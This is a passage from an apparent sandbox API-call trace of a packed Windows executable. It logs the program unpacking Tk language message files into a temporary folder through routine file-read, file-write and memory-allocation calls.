hHeap=0x530000) returned 1 [0044.650] CloseHandle (hObject=0x10c) returned 1 [0044.650] GetLastError () returned 0x0 [0044.650] SetLastError (dwErrCode=0x0) [0044.650] GetLastError () returned 0x0 [0044.650] SetLastError (dwErrCode=0x0) [0044.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.650] GetFileType (hFile=0x10c) returned 0x1 [0044.650] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.650] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.650] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.650] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.650] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.651] CloseHandle (hObject=0x10c) returned 1 [0044.651] GetLastError () returned 0x0 [0044.651] SetLastError (dwErrCode=0x0) [0044.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.651] GetFileType (hFile=0x10c) returned 0x1 [0044.651] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.651] CloseHandle (hObject=0x10c) returned 1 [0044.651] GetLastError () returned 0x0 [0044.651] SetLastError (dwErrCode=0x0) [0044.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\es.msg") returned 60 [0044.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\es.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.652] GetLastError () returned 0x2 [0044.652] SetLastError (dwErrCode=0x2) [0044.652] GetLastError () returned 0x2 [0044.652] SetLastError (dwErrCode=0x2) [0044.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\es.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\es.msg", lpFilePart=0x0) returned 0x3b [0044.652] GetLastError () returned 0x2 [0044.652] SetLastError (dwErrCode=0x2) [0044.652] GetLastError () returned 0x2 [0044.652] SetLastError (dwErrCode=0x2) [0044.652] GetLastError () returned 0x2 [0044.652] SetLastError (dwErrCode=0x2) [0044.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\es.msg") returned 60 [0044.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\es.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.654] GetFileType (hFile=0x10c) returned 0x1 [0044.654] htonl (hostlong=0x540f0000) returned 0xf54 [0044.654] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.654] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf54, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf54, lpOverlapped=0x0) returned 1 [0044.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.655] CloseHandle (hObject=0x10c) returned 1 [0044.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.655] htonl (hostlong=0x30000000) returned 0x30 [0044.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.655] GetFileType (hFile=0x10c) returned 0x1 [0044.655] htonl (hostlong=0xda2f5f00) returned 0x5f2fda [0044.655] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63dfda, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.655] htonl (hostlong=0xcf030000) returned 0x3cf [0044.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3cf) returned 0x550600 [0044.655] htonl (hostlong=0xcf030000) returned 0x3cf [0044.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.655] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.655] htonl (hostlong=0x8f0e0000) returned 0xe8f [0044.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe8f) returned 0x562098 [0044.655] htonl (hostlong=0xcf030000) returned 0x3cf [0044.655] htonl (hostlong=0x8f0e0000) returned 0xe8f [0044.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f30 [0044.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f30 | out: hHeap=0x530000) returned 1 [0044.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.655] CloseHandle (hObject=0x10c) returned 1 [0044.656] GetLastError () returned 0x0 [0044.656] SetLastError (dwErrCode=0x0) [0044.656] GetLastError () returned 0x0 [0044.656] SetLastError (dwErrCode=0x0) [0044.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.656] GetFileType (hFile=0x10c) returned 0x1 [0044.656] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.656] CloseHandle (hObject=0x10c) returned 1 [0044.656] GetLastError () returned 0x0 [0044.656] SetLastError (dwErrCode=0x0) [0044.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.656] GetFileType (hFile=0x10c) returned 0x1 [0044.656] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.657] CloseHandle (hObject=0x10c) returned 1 [0044.657] GetLastError () returned 0x0 [0044.657] SetLastError (dwErrCode=0x0) [0044.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\fr.msg") returned 60 [0044.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\fr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\fr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.657] GetLastError () returned 0x2 [0044.657] SetLastError (dwErrCode=0x2) [0044.657] GetLastError () returned 0x2 [0044.657] SetLastError (dwErrCode=0x2) [0044.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\fr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\fr.msg", lpFilePart=0x0) returned 0x3b [0044.657] GetLastError () returned 0x2 [0044.657] SetLastError (dwErrCode=0x2) [0044.657] GetLastError () returned 0x2 [0044.657] SetLastError (dwErrCode=0x2) [0044.657] GetLastError () returned 0x2 [0044.657] SetLastError (dwErrCode=0x2) [0044.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\fr.msg") returned 60 [0044.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\fr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\fr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.658] GetFileType (hFile=0x10c) returned 0x1 [0044.658] htonl (hostlong=0x8f0e0000) returned 0xe8f [0044.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.658] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xe8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xe8f, lpOverlapped=0x0) returned 1 [0044.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.660] CloseHandle (hObject=0x10c) returned 1 [0044.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.660] htonl (hostlong=0x30000000) returned 0x30 [0044.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.660] GetFileType (hFile=0x10c) returned 0x1 [0044.660] htonl (hostlong=0xa9335f00) returned 0x5f33a9 [0044.660] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63e3a9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.660] htonl (hostlong=0xa5040000) returned 0x4a5 [0044.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4a5) returned 0x550600 [0044.660] htonl (hostlong=0xa5040000) returned 0x4a5 [0044.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.660] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.660] htonl (hostlong=0xec110000) returned 0x11ec [0044.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11ec) returned 0x562098 [0044.660] htonl (hostlong=0xa5040000) returned 0x4a5 [0044.660] htonl (hostlong=0xec110000) returned 0x11ec [0044.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563290 [0044.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563290 | out: hHeap=0x530000) returned 1 [0044.661] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.661] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.661] CloseHandle (hObject=0x10c) returned 1 [0044.661] GetLastError () returned 0x0 [0044.661] SetLastError (dwErrCode=0x0) [0044.661] GetLastError () returned 0x0 [0044.661] SetLastError (dwErrCode=0x0) [0044.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.661] GetFileType (hFile=0x10c) returned 0x1 [0044.661] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.661] CloseHandle (hObject=0x10c) returned 1 [0044.661] GetLastError () returned 0x0 [0044.661] SetLastError (dwErrCode=0x0) [0044.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.662] GetFileType (hFile=0x10c) returned 0x1 [0044.662] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.662] CloseHandle (hObject=0x10c) returned 1 [0044.662] GetLastError () returned 0x0 [0044.662] SetLastError (dwErrCode=0x0) [0044.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\hu.msg") returned 60 [0044.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\hu.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\hu.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.662] GetLastError () returned 0x2 [0044.662] SetLastError (dwErrCode=0x2) [0044.662] GetLastError () returned 0x2 [0044.662] SetLastError (dwErrCode=0x2) [0044.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\hu.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\hu.msg", lpFilePart=0x0) returned 0x3b [0044.662] GetLastError () returned 0x2 [0044.662] SetLastError (dwErrCode=0x2) [0044.662] GetLastError () returned 0x2 [0044.662] SetLastError (dwErrCode=0x2) [0044.662] GetLastError () returned 0x2 [0044.662] SetLastError (dwErrCode=0x2) [0044.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 